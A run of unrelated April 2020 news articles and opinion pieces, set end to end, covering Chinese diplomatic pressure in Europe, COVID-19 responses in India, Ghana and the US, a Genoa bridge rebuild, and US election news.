ideological reasons, and their European allies that need to be neutral in case of conflict between China and the U.S." Story continues Mikko Huotari, executive director of the Mercator Institute for China Studies (MERICS), a Berlin-based think tank, noted that the Chinese economy is expected to bounce back strongly from the pandemic. "What is clear is that despite all the complications, China will not experience negative growth in 2020 unlike the USA and it will probably have 9-10 percent growth in 2021," said Huotari. "Right now, all companies are desperate for anything positive to happen. So of course you look at where the growth markets are," he added. Hosuk Lee-Makiyama, director of the Brussels-based European Centre for International Political Economy think tank, said that China will be the first country that gets out of the economic "tunnel." That means exporting countries such as Germany and France will be even more dependent on the Chinese market than before, he said. Aware of its economic sway, China shows no signs of deferring to European sensitivities about its PR campaign, which has been particularly aggressive in France. "Ambassador Lu is sophisticated, he knows exactly what hes doing. If he continues with pressure it means that they have a real strategy, they are not improvising," said Bondaz, who has met Lu. "The objective is to show that its not a summoning [of the ambassador] that will change anything, that they own up to what theyre doing, that theyre not wrong and that they were never wrong." Lu was known for a similarly aggressive stance in the Canadian press when he was Beijing's ambassador in Ottawa during a diplomatic spat in 2019 between Canada and China. The Chinese embassy in Paris did not respond to a request for an interview with the ambassador. Even after Lu was summoned by Le Drian, the Chinese embassy has still not taken down, or amended, the original article that caused offense. French President Emmanuel Macron has tried to strike a complicated balance between proclaiming the need for European strategic autonomy meaning, among other things, decreasing French and European reliance on China while also preserving current Chinese supply chains to get through the pandemic. He has also been seeking to keep China on side in diplomatic initiatives he is championing on African debt, the quest for a coronavirus vaccine and a much-touted summit between the leaders of the five permanent members of the United Nations Security Council. French officials deny they have been soft in their handling of Chinese propaganda, pointing to the unusually public summoning of the ambassador. A senior Elysee official involved in talks with Chinese officials said: "We express our positions very clearly, there are no reservations when it comes to our sovereignty for fear of any sort of retaliation." Nevertheless, while leaders of countries like Australia, the United States and Germany have, each in their own way, called for investigations into how the coronavirus started, Macron has stopped short from joining them explicitly, preferring to leave that issue until the pandemic has been curtailed. But the Elysee official insisted France does want to see a proper probe into the origins of the virus. "Its evident that we will need to have all the necessary transparency on the origin of this pandemic and on the reality of its spread around the world, its important and necessary, the official said. China has also been flexing its muscles in Brussels and Berlin. After POLITICO reported last Tuesday that the European External Action Service (EEAS) had compiled a report that accused China of continuing to run a "global disinformation campaign to deflect blame for the outbreak of the pandemic and improve its international image," Beijing exerted diplomatic pressure to change the findings. In the version that was finally published on Friday, some elements concerning China used softer language and other elements from the earlier report were not present. Peter Stano, the EEAS spokesperson, insisted on Monday that Brussels had not bowed to external pressure and spoke of a misperception. He argued that there had been two different versions of the report, with one version designed for internal consumption, and another report prepared independently for public consumption. The publicly released version had undergone a different editorial process because it was designed for different purposes and audiences, he added. Lawmakers in the European Parliament, however, were not satisfied with that explanation. Sandra Kalniete, a deputy leader of the center-right European People's Party group, said she was revolted by the apparent changes in the report and urged EU foreign policy chief Josep Borrell to fully explain in detail and without any delay what happened." The centrist Renew Europe group in the Parliament also demanded answers. In a letter initiated by MEP Bart Groothuis, the group asked Borrell to provide a formal and full explanation at the earliest possible convenience. Berlin's interior ministry, meanwhile, confirmed in a reply to a question by Green MP Margarete Bause that the government was aware of individual contacts made by Chinese diplomats with the aim of effecting positive public statements on the coronavirus management of the People's Republic of China. The ministry stressed, however, that Berlin did not comply with such requests, according to the reply, first reported by German newspaper Welt am Sonntag and seen by POLITICO. Huotari from the MERICS think tank said he was surprised by how strongly China is exerting itself diplomatically, which he said was an effort to take advantage of U.S. "weakness" on the world stage. "The attitude of the political leadership in Beijing seems to be: Let's go all in and take all opportunities," he said. Want more analysis from POLITICO? POLITICO Pro is our premium intelligence service for professionals. From financial services to trade, technology, cybersecurity and more, Pro delivers real time intelligence, deep insight and breaking scoops you need to keep one step ahead. Email pro@politico.eu to request a complimentary trial. One early community cookbook that became popular in the United States was A Poetical Cookbook by Maria J. Moss, published in 1864 to raise money for injured Union soldiers during the Civil War. Later in that century, suffragists produced cookbooks to spread their message. Since then, institutions like churches, libraries and local governments have relied on community cookbooks to raise money and share recipes. The format grew less popular as platforms like Instagram and Facebook have become robust online forums for home cooks. (NYT Cooking hosts large, active communities on both.) But now, the community cookbook is becoming part that conversation. In mid-March, the pediatric residents at Massachusetts General Hospital, in Boston, were all at home, waiting to be called as backup. One of them, Dr. Cyrelle Fermin, started posting recipes to the residents WhatsApp group; she turned that into an online spreadsheet where about 20 of her co-workers have submitted recipes, along with photos of themselves making one anothers dishes. Since then, most of the residents have worked shifts in the hospital, but Dr. Fermin said theyre still cooking and exchanging recipes. As health care providers, we are immersed in a lot of scary things on a day-to-day basis, she said. Its cathartic to channel our energies toward a tangible activity like sharing recipes. At the Valley Ranch Islamic Center, in Irving, Texas, weekend prayer sessions usually bring together about 1,000 Muslims, and are a primary means of collecting donations. Now that those gatherings are canceled, Nye Armstrong, the mosques creative director, is asking members to email recipes and photos so she can design a digital and print cookbook to be released around the end of Ramadan, in late May, to raise money. She also hosts weekly teatimes on Zoom where 15 to 20 members eagerly discuss their recipes. The police car was rammed off the road. Credit PSNI Road Policing & Safety An 18-year-old man arrested after a police car was rammed off a motorway leaving an officer in hospital has been released. It happened on the M22 at around 5.20pm on Saturday when police gave chase to a blue BMW on the M22. Read More The vehicle was flagged down to stop but made off from officers. A pursuit of the vehicle, by a fully trained pursuit driver, was then authorised, police said. The driver of the BMW continued to try to evade police before ramming his vehicle into the police car, forcing it off the carriageway. The male police driver was subsequently treated in hospital for extensive whiplash injuries. The BMW was found abandoned in a layby on the Moneyknick Road and the driver believed to have made off on foot across nearby fields towards the Staffordstown Road. An 18-year-old male was arrested in the Dungiven area during the early hours of Tuesday morning on suspicion of a number of motoring offences. He was released on police bail pending further investigation. Police continue to appeal to anyone who witnessed the incident or who captured footage of the incident to contact police on 101, quoting reference 1486 25/04/20. By Paul ONeill The Huffington Post recently reported that some parents of students with disabilities in New Jersey are being required to sign waivers before their children with disabilities can access services and supports remotely during COVID-19 closures. These forms apparently require parents to give up their right to press charges for negligence and injuries of various sorts in connection with providing remote services and forbid parents from being present for, listening in on, or recording virtual educational sessions. That is outrageous and at odds with the law. Students with disabilities are protected by a range of federal and state laws collectively ensuring that they can readily access the services and supports they need this is called the right to a free, appropriate public education. Our special education laws empower parents to play an active role in decision-making and assessing the success and sufficiency of services. Forcing parents to sign a mandatory contract requiring them to give up the right to be involved in their childs education, remote or otherwise, undermines those rights. Insisting that they give up the right to hold the school or district accountable for doing a decent job is also unacceptable. On what viable grounds could public school authorities demand such concessions? What authority permits them to withhold special education services unless parents give up their rights? I have been an education lawyer for more than 20 years and I am unfamiliar with any such authority. According to the Huffington Post, the law firm that drafted the contract used by some New Jersey districts defended this approach by citing the unprecedented times we are living through and the novel issues of privacy and service delivery that have been prompted by statewide school closures. Fair enough having to suddenly shut down normal operations and shift from in-person instruction to largely online learning in the space of a few weeks was unprecedented and extraordinarily challenging. There remains a great deal of confusion about what to do and how to do it. However, the several rounds of guidance issued from the U.S. Department of Education since schools began shutting down in March have made it clear that districts and schools should do their best to meet the needs of students despite the chaos and confusion, and that the rights and needs of students with disabilities cannot be set aside or marginalized. My organization, the National Center for Special Education in Charter Schools, recently helped found the Educating All Learners Alliance, an uncommon alliance of organizations committed to resource sharing and community building that supports the efforts of the education community to meet the needs of students with disabilities during the COVID-19 pandemic. Over the last six weeks, we have seen that schools around the country are tackling these challenges with grace and creativity, even in under-resourced districts. The school leaders weve spoken to are proactively reaching out to families daily to ensure that students have the resources and support they need and are not shying away from their duties. Most New Jersey districts and schools (both traditional and charter) are likewise doing their best to meet student needs and respond to them, without holding special education services hostage. No one has a road map guiding them through how these closures will play out or warning them of what challenges will appear. Even so, no one is entitled to a guarantee that they wont be questioned or scrutinized and held accountable if they appear to be negligent, apathetic, or worse when it comes to meeting the needs of children with disabilities during the COVID-19 crisis. This appears to be a toxic situation caused by overzealous lawyers determined to limit the liability of their school district clients. In the process of attempting to limit liability, they are trampling on the rights of vulnerable students and their families. The New Jersey Department of Education, along with the U.S. Department of Education, should promptly look into the matter, confirm the facts that have been reported, and take appropriate action. Permitting public schools to force parents to trade rights for services is an extremely dangerous precedent to allow. Paul ONeill is the co-founder and senior fellow at the National Center for Special Education in Charter Schools. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. The Star-Ledger/NJ.com encourages submissions of opinion. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. The Citizen Watch Ghana, (CWG), has described the operations of the One District, One Factory, (1D1F) secretariat under the Ministry of Trade and Industries, (MOTI) as toothless and powerless. "The 1D1F secretariat at this moment is rendered toothless because first and foremost their performance is not a Key Performance Index (KPI) for any sector or Ministry. In reality, by talking to Ghanaian entrepreneurs from the Private Enterprise Federation, (PEF), Association of Ghanaian Industries, (AGI), Alliance for Development and Industrialization, (ADI) among others, the 1D1F secretariat only make recommendations to institutions and banks but has no power or mandate to support or follow any business through," it said in a statement. It said so far taxes and trade exemptions benefited by businesses through the Ministry of Trade are minimal, of which majority of these trade exemptions come from the Ministry of Agriculture and agro base industry. "We are proposing that lets make this a KPI for both government and the various sector institutions for which an authority should be set up with its mandate clearly spelt out," it said. The Citizen Watch Ghana added that the Ghana Industrial Transformation Authority, (GITA), should establish KPIs for sectors such as agriculture, trade and industry, labour among others to serve as a check and monitor if it is delivering on its mandate or not, for example how many jobs has 1D1F created. "We are appealing to the government to take into consideration this authority as we prepare for Ghana beyond COVID-19 agenda since self-sustainace is critical. The private sector should understand that the government would not just make available monies for this to happen, they need the right criteria of businessmen, even if they have to be ten to build businesses across the country, it makes sense than wasting money on other people. In a statement issued and signed by Francis Agbenyegah, the Convener of the group, it would be prudent for the government to change the 1D1F into Ghana Industrialization and Transformation Authority, (GITA), backed by law to champion the industrialization drive of the country. They add that the 1D1F, currently dont have any authority to facilitate any activities of theirs, describing it as a "reference" which has failed to have any law backing its operations, describing it as a "white elephant secretariat. The government must refocus, realign and migrate the 1D1F into Ghana Industrialization and Transformation Authority", adding, this would help the government to put checks and balances in place to monitor and evaluate the work of the authority through it key performance index". Like how MASLOC is under the presidency, we are also proposing that the government should put the GITA under the presidency to champion the industrialization process of this country, The Citizen Watch Ghana indicated. GITA should be under the presidency with strength from the Ministries of Agriculture, Finance, and Trade and must have desk officers to deal with these companies in a timely manner. If we dont do this, then the government has no focus in dealing with industrialization issues in this country. it added. . They are therefore calling on Parliament to develop a policy towards the Ghana Industrialization Transformation Authority. "We respectfully call on the President to consider our preposition for the larger interest of businesses in the country, it said. Source: Ruth Aboagye Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video At the interaction with Prime Minister Narendra Modi on Monday, Bihars chief minister (CM) Nitish Kumar raised the issue of migrant workers and protocols related to their movement. The extended lockdown has firmly brought the spotlight on these workers, with Bihar among the most severely affected states, as millions from the states remain stranded. Amid hunger, monetary crisis and uncertainty, migrant workers have been treated as outsiders, which is why many set off on foot to their homes. Reports of the exodus of migrant workers from Delhi and other cities were proof of their alienation. With widespread panic, migrants became easy targets on social media and were labelled coronavirus carriers. Frantic efforts by Bihar home to Indias second-largest migrant labour population to address the exodus including localised containment measures at the state borders, were not nearly enough to counter this stigma. In many places, the enforcement of lockdown through the use of police force, as well as several infection control measures such as stamping those identified for isolation and /or quarantine, made things worse for them. It was only when the Supreme Court intervened to dispel this prejudice that the media and governance responses changed to some degree. As states begin devising measures to bring workers back to assembly lines, they could take a leaf out of Bihars book on how to reach out to migrant workers and treat them in a humane manner. This model is already being replicated by Uttar Pradesh and Jharkhand to reach out to workers stuck in other states. Bihar was the first state to respond to the needs of its migrant workers stranded in other states. CM Nitish Kumar first ensured that people who reached out to the state government in the early days of the lockdown were called back, so that the government could sort out their problems. Their deprivation related to their lack of money and assured food. In one of his first directives immediately after allocating Rs 150 crore from the CM Relief Fund to fight the pandemic (this has now been increased to Rs 250 crore), the CM instructed senior officials on April 2 to remit Rs 1,000 directly to the bank accounts of Bihari workers stranded outside.By April 6, the department of disaster management (DMD) not just developed and tested a dedicated software app for this, but successfully accomplished the transfer of funds to individual bank accounts, while launching helplines for people to continue reaching out to the state government. The enormity of the task might seem daunting, but it is nothing new for the state machinery that has extended monetary relief to the vulnerable in the past. This was, however, the first time that migrants living outside Bihar were identified, verified, and reached. The state government, by April 27, had transferred Rs 1,000 through direct bank transfers (DBT) to over 1.6 million accounts of non-resident Biharis. Delhi, Haryana, Maharashtra, Gujarat and Uttar Pradesh stand out prominently in this DBT scheme list. The state government set up helpline numbers for people stranded outside, erected relief centres at state borders for homebound migrant workers, set up community quarantine centres in villages and panchayats, and ensured that local employment through government schemes absorbed as many returning migrants as possible. Even before the partial easing of the lockdown from April 20, the state government directed all departments to use the Mahatma Gandhi National Rural Employment Guarantee Scheme to provide employment for the local labourers. Outside the state, the DMD and the Bihar Foundation have been running 52 relief centres in 12 cities in different states to provide cooked food and food packets. Over 20,000 people are being provided with meals every day at the 12 centres in Delhi alone. Similarly, the 24*7, 60-line state helpline responded to over a 100,000 calls, facilitating affirmative action for 2.5 million individuals, mostly pertaining to monetary and food issues. Beyond financial assistance through DBT and support through community centres and phone helplines, the states initiatives have succeeded in looping hundreds of thousands of migrant workers into an extended community. This is a challenging time for both, the state government as well as for migrant workers. But taking care of them, through protective mechanisms, while remaining careful that the disease does not spread, is both the ethical and pragmatic thing to do. After all, it is these workers who will have to steer the economy back to its feet when India opens up. Sanjay Jha is water resources minister in the Bihar government The views expressed are personal ROME When the Morandi Bridge, a vital east-west transportation artery in the heart of Genoa, collapsed on Aug. 14, 2018, killing 43 people, there was little reason to think that its replacement would be in the final phases of construction less than two years later. Public works projects in Italy are not known for efficiency, even under the best of circumstances, and the months after the accident were marked by a series of obstacles: political turmoil that led to a change of government, judicial investigations into the cause of the collapse, and a debate over whether the privatization of Italys roadways and other infrastructure had put people at risk. And that was before the coronavirus struck. Yet on Tuesday, the last section of the deck that forms the main structure of the new bridge was hoisted into place, completing a 3,500-foot-long spine that remains to be covered in concrete and then finished with a layer of asphalt. Judd Apatow's upcoming comedy film "King of Staten Island" is skipping a theatrical release and arriving directly on-demand amid the ongoing coronavirus pandemic. The film, set in New York's Staten Island, stars "Saturday Night Live" breakout Pete Davidson in his first lead feature role. The movie is a semi-autobiographical coming-of-age comedy which incorporates elements from Davidson's life. Apatow and Davidson shared the about going digital in a video chat on Twitter on Monday. The Universal picture was slated to open in cinemas June 19, but will now be made available to rent beginning June 12 on a host of digital platforms. The price for a 48-hour rental will be USD 19.99. The film also stars Marisa Tomei and Steve Buscemi. Ever since the majority of cinema halls in the US have shut owing to the COVID-19 outbreak in March, makers have postponed the release dates. Some, like in the case of "King of Staten Island", went straight on-demand. The came hours after upcoming streaming service HBO Max picked up worldwide rights to release Sony's offbeat comedy "An American Pickle", featuring Seth Rogen. Other films that went the digital route recently were family animated films "Trolls World Tour", from Universal and DreamWorks Animation, and Warner Bros' "Scoob!". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With May fast approaching, the Northampton County Elections Office is reminding voters they have until 5 p.m. May 26 to request a mail-in ballot for the June 2 primary. The elections office has received 25,000 applications for mail-in ballots and has already mailed 20,000 ballots to applicants. The office must receive a mail-in ballot by 8 p.m. June 2 for it to be counted. Starting on May 11, Northampton County will allow anyone with election-related business to enter the courthouse as long as they are wearing a mask and submit to a temperature check, according to a news release. The courthouse is currently closed to the public. Once you have applied for a mail-in ballot, you will not be allowed to vote at your polling station on June 2. If you go to the polls on election day, you will only be allowed to vote on a provisional ballot. Anyone wanting to vote in the primary, or change their party affiliation, must register by May 18. The June 2 primary marks the first Pennsylvania election where voters can vote by mail -- a change enacted in an election reform law signed by Gov. Tom Wolf in October -- for any reason. With the ongoing coronavirus pandemic, voters are being encouraged to apply for mail-in ballots to limit personal contact and crowding at polls. Pennsylvanias launched a website where voters can request the newly legalized mail-in ballots ahead of the primary. Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Our journalism needs your support. Please subscribe today to lehighvalleylive.com. Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. WASHINGTON U.S. Sen. Josh Hawley urged the Justice Department on Tuesday to open a criminal probe of Amazon.com Inc., saying the online retailer was building a monopoly using predatory data practices on vendors using its platform. The Missouri Republican, who has been critical of big tech platforms such as Alphabets Google, expressed concern about a report in The Wall Street Journal that Amazon collects data about products sold by third parties on its site to create Amazon branded copies, saying it went far beyond what brick-and-mortar stores are able to do. The big four tech platforms Google, Apple, Amazon and Facebook are under investigation by the House Judiciary Committee and Justice Department while the Federal Trade Commission is probing Facebook and Amazon. Meanwhile, groups of state attorneys general are looking at Facebook and Google. Police officers across India are relentlessly fighting the COVID19 pandemic across India. From collecting and distributing food to the needy, enforcing social distancing and providing shelter to migrants, they are working almost 18 hours a day non-stop without meeting their families. Rising to the occasion, senior most police officers across India have been singing and dancing to encourage their team and beat gloom. We had never witnessed such heartwarming sights before! In Guna Kotwali in Madhya Pradesh, DSP Neha Pachisias video dancing to the tunes of Sandeshe Ate Hai, a song from the movie Border has gone viral. The police officers team also joins her in the video. As we fight a continuous battle against Covid-19, we are working very long working hours with no break, so I thought of boosting my teams morale with a dance. We could so relate to the songwhen our loved ones ask, ke ghar kab aaoge, says Pachisia, who is known as Lady Singham of her area. One day, Pachisia was talking to her team, and the pent up pain came out. One day, I asked my team if they had any complaints, some said they were away from family for days, some were missing their mother who was alone, some had not seen their children, some had health issues. They were feeling low, so I thought of boosting their mood, and make them feel that we are family, she says. She asked everyone to share to whatever talent they had. When nobody came ahead, she took the lead and started dancing and singing. Soon, her entire team joined her. Pachisia says such mood-lifting activities help them prepare for the spirit-sapping conditions that they face everyday. We come across a lot of depressing incidents whole day..someone is starving, someone needs urgent medical care, some woman has been battered by her husband, taking advantage of the lockdown. In such circumstances, one needs to have nerves of steel. Unless we bond as a team, and keep our spirits really high, we will give in to gloom. Singing and dancing are great activities to build team spirit and heal the mind and the soul, she says. SHARE THIS ARTICLE ON Mumbai, April 28 : Actress Lara Dutta, who is set to play a police officer for the first time in the comedy-action web series "Hundred", has lauded the film technicians and crew of the show calling them the "unseen and unsung heroes." Lara shared two stills from the show on Instagram along with the crew. She captioned it: "To all our technicians, our AD's , our spots, our camera Dept, our lighting Dept, our dress Dept, our CREW!!! The backbone of any production! The wizards behind the magic! The unseen, unsung heroes.... NOTHING is possible without these incredibly hardworking members who become like family thru a shoot. A BIG, BIG thankyou!" She added that the first photograph was taken during an all night shoot. Lara added: "P.S: this first photo taken after an extremely long all night shoot. A super tricky continuous lengthy shot when ACP Saumya and her team are trying to locate Netra @iamrinkurajguru at the hospital OT. The entire crew had to wear scrubs in order to shoot at the real hospital location." In the series, Lara will be seen as ACP Saumya Shukla. The Hotstar Specials show chronicles the misadventures of two contrasting women, set in the backdrop of Mumbai, its chawls and crime gangs. Being described as a masala entertainer, the show also stars Rinku Rajguru. It is co-directed by Ruchi Narain, Ashutosh Shah and Taher Shabbir. The cast includes names like Karan Wahi, Sudhanshu Pandey, Parmeet Sethi, Rohini Hattangidi, Arun Nalawde and Makarand Deshpande. Hillary Clinton announced her support for Joe Biden on Tuesday, becoming the latest prominent Democrat to rally behind the former vice president in his bid to oust President Donald Trump from the White House. Clinton, a former first lady, New York senator and secretary of state who became the Democratic nominee in 2016, said she had worked alongside Biden as a colleague and friend for a quarter of a century. Speaking from her home during a virtual town hall, with the 2020 campaign reshaped by the COVID-19 pandemic, Clinton said, Joe Biden has been preparing for this moment his entire life. I want to add my voice to the many who have endorsed you to be president, Clinton said before taking a shot at the current occupant of the White House. Just think of the difference it would make right now if we had a president who not only listened to science and facts over fiction, but brought us together and showed us the kind of compassion and caring we need, and which Joe Biden has exemplified for his life a real president, not just somebody who plays one on TV. The pair noted that Trump, who declared a national emergency in mid-March and weeks later signed a $2.2 trillion relief package, reportedly sometimes skips reading daily intelligence briefs, perhaps including some in January and February that warned of China suppressing data and of the virus severely impacting the U.S., according to The Washington Post. Clinton made the case that Biden could bring more transparency and accountability to the White House, which she said has displayed an indifferent, insensitive approach" throughout the coronavirus crisis. If you cant believe what your leaders say, if youre told not to believe what the press says, you cant trust each other enough to fix the problems that we jointly face, Clinton said. Biden thanked Clinton for her support and friendship. He described her as the woman who should be president right now" and said hed continue to call her and seek her advice through his campaign. Clinton and Biden argued the pandemic exposed how Americans could benefit from paid family leave, an increased minimum wage, more flexible unemployment and health care policies that better protect vulnerable communities, particularly women of color and low-income women. They argued the Trump administration was making moves to strip the Affordable Care Act and the Supplemental Nutrition Assistance Program at a time when people needed support. This crisis has allowed decent people who havent focused before to realize that when the store clerk is making enough money to take care of their family, the wealthy guy down the street is better off. Everybodys better off, Biden said. When you have a system where the people you rely on the most are in a position to be able to do their job and live their life, that raises your position. This notion that if people who are struggling get help, its going to drain resources ... the opposite happens. Weve got to fix our systems, friends, Clinton said. If we get people to pay attention and really look at whats at stake for them and their families, then I think we can have an election ... about how we can build a stronger foundation for the future. Biden recently received endorsements from former President Barack Obama and his primary rivals Sen. Bernie Sanders, Sen. Elizabeth Warren, Sen. Amy Klobuchar and former South Bend Mayor Pete Buttigieg. He previously picked up support from the 2004 Democratic presidential nominee, former Massachusetts Sen. and Secretary of State John Kerry. Related Content: BRASILIA, April 27 (Reuters) - Following the collapse of the Boeing Co takeover deal, Brazilian jetmaker Embraer SA should look to partner with China for its mid-range passenger plane unit, Brazil's Vice President Hamilton Mourao said on Monday. "It's a blessing in disguise," Mourao said online to clients of consultancy Arko Advice. He said the company would stay in Brazilian hands and can deliver a product that China needs as it expands its domestic airline sector. "It's an inevitable marriage. We have the know-how, they have the demand." (Reporting by Anthony Boadle; Editing by Sandra Maler) A 31-year-old man was arrested for bootlegging duty free foreign liquor through a Facebook page amid Covid lockdown on Tuesday in Bengaluru. Police seized a car, iPhone 11 and 24 Scotch whisky bottles. Image Source: IANS News A 31-year-old man was arrested for bootlegging duty free foreign liquor through a Facebook page amid Covid lockdown on Tuesday in Bengaluru. Police seized a car, iPhone 11 and 24 Scotch whisky bottles. Image Source: IANS News Bengaluru, April 28 : A 31-year-old bootlegger was arrested here for attempting to sell foreign liquor through a Facebook page amid lockdown, a police official said on Tuesday. "We contacted Roshan Bhateja through a Facebook page undercover and deposited some money for the delivery. As he came to deliver the liquor on Palace Road near the French Consulate, we arrested him," Central Crime Branch (CCB) Deputy Commissioner of Police Kuldeep Jain told IANS. Bhateja accumulated duty free foreign liquor overtime right before lockdown and is attempting to make a killing selling the bottles at triple the price. Some of the 24 seized liquor bottles included Scotch whisky Laphroaig, Ballantine's, Cardhu, Teacher's, 100 Pipers, Johnnie Walker, Balvenie, Black & White and others. "We arrested him red handed as he came in a car to deliver the illegal liquor," said Jain. Police also seized an orange Hyundai i10 car, KA 01 MM 5305, and an iPhone 11. According to Jain, Bhateja works as a financial and garment consultant in the city, living on Palace Road near Mount Carmel College and Shangri-La hotel. Jain said the accused will be quarantined and later sent to judicial custody. Sandeep Patil, Joint Commissioner of Police, Crime, tweeted, "While some continue to attempt to sell things prohibited in lockdownaCCB continues to raid themaaccused arrested selling liquor bottlesa24 high end bottles seized." The Executive Secretary of the Mass Action Committee (MAC) has strongly condemned some acts of violence by the Member of Parliament (MP) for Ningo Prampram and his accomplices who nearly disrupted a meeting by the Electoral Commission (EC) held on April 25, 2020. MAC says it intends to "petition the Inspector General of Police to cause an investigation to be conducted into the matter and those found culpable dealt with according to law." The workshop for Directors and Deputy Directors held at the Escape Hotel in Prampram formed part of the Commissions preparation towards the compilation of a new voters register. Sam George had earlier secured an injunction, restraining the Electoral Commission from holding the workshop in his constituency. The change of venue for the meeting to a hotel in Accra was however reportedly marred by near-violence under the leadership of the Ningo-Prampram Legislator, leading to its premature closure. This is what has compelled the MAC Executive Secretary, Atik Mohammed, to issue a statement and copied to Peacefmonline.com slamming the conduct of the NDC MP saying his action does not only "offend the laws of Ghana, but also have the tendency to plunge our dear country into unspeakable chaos". While calling on authorities to immediately round up all perpetrators in that unlawful exercise, the pressure group also reproached the outspoken MP for his propensity to engage in matters that oftentimes degenerate into electoral conflict. "To the extent that these actions violate our laws, we demand that the police administration arrest and prosecute the perpetrators. In making this demand, we are minded by the fact that, Ghana is ruled by law and not men. To this end, we will be petitioning the Inspector General of Police to cause an investigation to be conducted into the matter and those found culpable dealt with according to law.... "....Meanwhile, we observe that the involvement of Mr. Sam George in matters that unfortunately eventually degenerate into electoral conflict is becoming trendy. We like to admonish him as a Member of Parliament, to rethink his approaches to issues of electoral concern whiles drawing the attention of our security agencies to this fact," portions of the statement read. Read full statement... 1. The Mass Action Committee has noted with concern, actions of some individuals including Members of Parliament that do not only appear to offend the laws of Ghana, but also have the tendency to plunge our dear country into unspeakable chaos. It was reported on Saturday 25th April, 2020 that, a group of supporters allegedly belonging to the NDC led by one Hon. Sam George, thronged the City Escape Hotel ostensibly to disrupt an ongoing meeting by the Electoral Commission. 2. The said meeting we understand, was one of the routine meetings the Commission holds prior to major events on their calendar. To this end, the commission felt no need to request the presence of security officials. In conducting this meeting also, the Commission we are told, was mindful of the safety protocols as were announced by the President and therefore, same were observed during the meeting. 3. However, unbeknown to the Commission, a group of people led by the MP for Ningo Prampram and the NDC Parliamentary Candidate for the Ayawaso West Wuogon Consituency, exploited the absence of security personnel to mass up at the venue issuing all kinds of threats and demanding that, the Commission halts the meeting. We find these actions repugnant and should not be allowed to go unanswered. 4. It is the view of MAC that, the mobs presence at the meeting venue and their ensuing actions posed a danger to the safety of the EC officials. We further contend that, these actions could have degenerated into chaos but for the timely arrival of the police and national security officials. To the extent that these actions violate our laws, we demand that the police administration arrest and prosecute the perpetrators. In making this demand, we are minded by the fact that, Ghana is ruled by law and not men. To this end, we will be petitioning the Inspector General of Police to cause an investigation to be conducted into the matter and those found culpable dealt with according to law. 5. We like to also suggest that, the Electoral Commission engages with the security agencies for adequate provision of security during their meetings and activities, be they routine or otherwise. 6. Meanwhile, we observe that the involvement of Mr. Sam George in matters that unfortunately eventually degenerate into electoral conflict is becoming trendy. We like to admonish him as a Member of Parliament, to rethink his approaches to issues of electoral concern whiles drawing the attention of our security agencies to this fact. 7. Our democracy was fought for and consolidated through the blood and toil of many patriots and we dare not invest that. In this regard, we call on all Ghanaians to disavow and shame any person or group of persons as they have always done, whose actions for whatever motive(s) seek to derail our democratic efforts and cause a relapse. God bless our homeland Ghana and make her great and strong!! SIGNED Atik Mohammed (Executive Secretary) Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Tanker tracking sources say Irans oil exports to Syria have increased substantially in recent weeks and currently several cargoes have reached the Baniyas port in Syria. Tanker Trackers reported on Tuesday April 28 that several Iranian vessels are near port in Syria and the Middle East Economic Survey (MEES) reports that these tankers are carrying 6.8 million barrels of oil. Since full U.S. sanctions were imposed on Iran in May 2019, Syria has been receiving an average of around 2 million barrels of crude monthly from Iran, and now more than three times is being delivered at once. In January and February, Irans biggest oil customer, China reduced its imports and with this large cargo arriving in Syria, that country has become the largest oil importer from Iran. There can be several reasons why this is happening. Excess oil stocks in the midst of sanctions and a global oil glut is forcing Iran to ship and perhaps store the oil in a friendly country. Another reason is that Bashar Assads government and Hezbollah can be conduits to sell the oil on the black market. One place Hezbollah can manage to do this is Lebanon, where it has sway over the government. Although loading of Iranian crude remains low according to monitoring companies, but Chinas customs reported a huge increase in imports of Iranian oil in March, reaching 608,000 barrels per day. The extra oil registered by Chinese customs can be from around 20 million barrels stored in China or from Iranian tankers floating on the high seas loaded with unsold oil. As the coronavirus epidemic subsides in China, economic activities in the country rise and so does demand for oil. The International Monetary Fund estimates that Iran may be able to export 340,000 barrels a day in 2020; a far cry from a peak of 2.5 million before U.S. sanctions. This will result in billions of dollars of budget deficit and more shortages of foreign currency. OPEC reports Irans daily production at 2 million barrels. With domestic consumption of 1.8 million, Iran has around 200,000 barrels to export. But Iran has more than 100 million barrels of unsold oil in storage. To allow movement of stranded trucks laden with goods at Petrapole land port on the India- Bangladesh border, the West Bengal government on Tuesday said it can permit only essential commodities to be sent to the neighbouring country, but transfer of cargo has to be done at the no man's land to avoid quarantine conditions. Over 2,100 Bangladesh-bound trucks are stuck in and around Petrapole for over a month since the nationwide lockdown was announced on March 24. According to rules, truckers have to go for a 14-day quarantine once they return from another country. "The state government held a meeting with all stakeholders today. The administration offered a proposal to the trade that vehicles carrying essential items can be allowed to move forward. But the cargo has to be unloaded at the no man's land, and not at the normal transfer zone at Benapole (in Bangladesh)," a senior Land Port Authority official told PTI. "If a truck does not enter another country, there is no question of quarantine for the drivers and helpers. But they have to adhere to the sanitisation protocols advised by the WHO," he said. The ball is now in the court of exporters and truckers, the official said adding that they have to make all the arrangements in coordination with their counterparts in Bangladesh. If the formula is accepted at Petrapole, it can be applied to other land ports of the state, he said. Petrapole is in West Bengal's North 24 Parganas district, about 80 kilometres from Kolkata. Reaction of the exporters or truckers is not immediately available. Trucks stranded in Petrapole are also causing social problem near the border as drivers and helpers are running out of cash, sources said adding that they are also exposed to the threat of coronavirus infection as social distancing norm is not maintained properly. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Almost one in five crew members aboard the USS Theodore Roosevelt have now tested positive for coronavirus, as calls to reinstate the ship's fired captain are being considered by the White House. As of Tuesday morning, the latest updates from the Pentagon say 955 members of the battleship's crew have been diagnosed with the coronavirus, with all 4,983 sailors onboard having now been tested for the disease. Of the total cases, one sailor is currently hospitalized, 14 have 